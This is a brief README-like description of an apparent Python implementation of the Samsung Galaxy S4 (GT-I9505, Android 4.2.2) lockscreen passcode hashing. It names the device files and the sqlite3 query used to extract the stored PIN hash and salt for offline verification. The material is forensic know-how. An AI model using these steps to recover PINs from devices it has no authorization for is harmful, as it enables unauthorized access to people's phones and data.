Python implementation of passcode hashing algorithm used on the Samsung Galaxy S4 GT-I9505 4.2.2
Correct PIN for hash and salt below is 1234.

Get 40-character hash value in ascii hex format from file /data/system/password.key on the phone

Get salt in signed numeric format by doing sqlite3 query SELECT value FROM locksettings WHERE name = 'lockscreen.password_salt' on /data/system/locksettings.db
